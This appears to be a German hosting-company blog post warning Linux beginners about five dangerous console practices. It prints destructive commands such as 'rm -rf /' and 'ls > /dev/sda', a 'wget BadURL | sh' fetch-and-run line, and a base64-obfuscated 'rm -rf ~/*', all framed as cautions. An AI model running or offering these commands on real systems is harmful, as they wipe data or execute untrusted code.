Die 5 gefährlichsten Kommandos in der Linux-Konsole

Web Developer & DesignerKategorie
5 min lesen
Wolf-Dieter Fiege

Die Linux-Konsole ist die wichtigste Schnittstelle zur Administration deines Servers, über die du beliebige Änderungen an deinem System vornehmen kannst. Das kann – besonders für Einsteiger – aber auch gefährlich sein. Denn mit einfachen Kommandos kannst du im schlimmsten Fall dein ganzes System beschädigen. Welche Fallen du unbedingt vermeiden solltest, zeigen wir dir in diesem Beitrag. Alle gefährlichen Kommandos haben wir übrigens rot markiert. Führe diese bitte keinesfalls aus!

Abbildung - Linux_3.0.0_boot

Gefährliche Kommandos in der Linux-Konsole

Gefahr # 1: Versehentliches Löschen wichtiger Dateien – mit rm oder mv

Die erste Gefahr droht bei ganz alltäglichen Befehlen der Kommandozeile. Vor allem, wenn du nicht mit der Syntax der einzelnen Kommandos vertraut bist, kannst du damit schnell dein ganzes System zerstören. In der Praxis führen vor allem die Kommandos rm (remove = löschen) und mv (move = verschieben) immer wieder zu Datenverlust.

Die Gefahr des rm-Kommandos:

Mit dem rm-Kommando löschst du Dateien und Verzeichnisse. Mit falschen Parametern kannst du aber auch das gesamte System ausradieren. Rufst du das Kommando beispielsweise wie folgt auf, löschst du alle Dateien und Ordner im aktuellen Verzeichnis ohne Rückfrage:


rm –rf *

Erklärung: rm (remove (löschen)) -rf (r= rekursiv (inkl. aller Unterverzeichnisse) / f= force (ohne Rückfrage)) * (* = Platzhalter für alles in diesem Verzeichnis)

Folgendes Kommando würde sogar alle Dateien und Verzeichnisse ab der obersten Ebene „/“ Ihres Systems löschen:

rm –rf /

Wie das mv-Kommando zum Löschbefehl wird:

Ebenso gefährlich ist das mv-Kommando, wenn du es falsch einsetzt. Eigentlich verschiebst du damit Dateien und Verzeichnisse. Verwendest du falsche Parameter, verschiebst du deine Dateien allerdings ins Nirwana:
mv ~ /dev/null

(~ ist das Home-Verzeichnis des Users, mit dem du eingeloggt bist)

Der Pfad „/dev/null“ führt zu einer virtuellen Gerätedatei, die jegliche Dateien verwirft. Sie wird eigentlich verwendet, um Standardausgaben eines Programms, die nicht von Interesse sind, umzuleiten.

Gefahr # 2: Falsche Verwendung von Operatoren

Linux-Administratoren arbeiten oft mit sogenannten „Operatoren“, um die Ausgaben eines Programms umzuleiten. Besonders häufig wird dafür das „Größer als“-Zeichen eingesetzt. Mit folgendem Befehl leitest du beispielsweise die Auflistung des Verzeichnisinhalts in die Datei „VerzeichnisListe.txt“

ls > VerzeichnisListe.txt
Achtung:

Existiert die Datei „VerzeichnisListe.txt“ bereits, wird sie ohne Rückfrage überschrieben! Nur wenn du den Operator doppelt benutzen, wird die Ausgabe an die vorhandene Datei angehängt, anstatt sie zu überschreiben:

ls >> VerzeichnisListe.txt

Zu einem echten Problem kann das führen, wenn du die Ausgabe auf deine Festplatte umleitest (z.B. /dev/sda). Der nachfolgende Befehl schreibt beispielsweise die Ausgabe von „ls“ direkt auf deine erste Festplatte und überschreibt somit deine Daten.

ls > /dev/sda

Gefahr # 3: Gefährliche Inhalte per WGET herunterladen

Admins nutzen gern Suchmaschinen, wenn sie auf neue Probleme stoßen. Nicht selten gibt es bereits eine sofort anwendbare Lösung in Form eines Shell-Scripts, das du mit folgender Kommando-Syntax direkt herunterladen und ausführen können:

wget BadURL | sh

Das Kommando wget lädt ein Shell-Script von einer URL (in unserem Beispiel: http://www.BadURL) herunter und übergibt es mit dem Pipe Operator „|“ direkt zum Ausführen an die Shell (sh).

Dieses Vorgehen ist äußerst gefährlich, denn du weißt wahrscheinlich noch nicht, welchen Inhalt das Script hat.

Lade Shell-Scripte immer erst einmal herunter – ohne den Befehl, um diese direkt auszuführen! Prüfe den Inhalt und führe diesen nur aus, wenn der Inhalt für dich nachvollziehbar und in Ordnung ist.

Gefahr # 4: Versteckte Kommandos ausführen

Nicht immer ist ein Linux-Kommando direkt lesbar, z.B. wenn er durch Kodierungen verschleiert ist. Bösartige Anwender verbergen gefährliche Kommandos beispielsweise mit Hilfe einer Base64-Kodierung. Betrachten wir beispielsweise folgendes Kommando:

(echo cm0gLXJmIH4vKg== | base64 -d)

Hinter dem String cm0gLXJmIH4vKg== verbirgt sich das Kommando rm –rf ~/*, das alle Dateien und Verzeichnisse ohne Rückfrage löschen würde. Dazu wird es in dem obigen Kommando mit base64 dekodiert und direkt ausgeführt.

Führe unter keinen Umständen Kommandos aus, die kodiert sind!

Abbildung - Online-String-Manipulation-Tool

Mit einem Base64-Dekoder kannst du den Inhalt von kodierten Strings einsehen.

Zum Online-String Manipulation-Tool

Gefahr # 5: Immer als root-Benutzer arbeiten

Viele der zuvor gezeigten Gefahren entfalten nur dann ihre gefährliche Wirkung, wenn sie als root-Benutzer ausgeführt werden. Zu oft arbeiten selbst erfahrene Linux-Administratoren aus Bequemlichkeit als „root“, also mit voller Berechtigung. Selbst bei Alltagsaufgaben, für die in der Regel ein normales Benutzerkonto ausreichend wäre.

Daher gilt:

Arbeite grundsätzlich mit einem Benutzerkonto ohne root-Rechte.

Wenn ein Kommando unbedingt mit root-Benutzerrechten ausgeführt werden muss, wechsel mit dem Kommando su zum Root-Benutzerkonto (oder nutzen Sie alternativ je nach Distribution das sudo-Kommando, um einzelne Kommandos mit den Rechten eines root-Benutzers auszuführen).

Du suchst ein passendes Server-Produkt? Dann schau mal bei GoDaddy nach. Hier findest du Server mit Linux- und Windows-Betriebssystem.

Bildnachweis: Fotolia, Lizenz: GoDaddy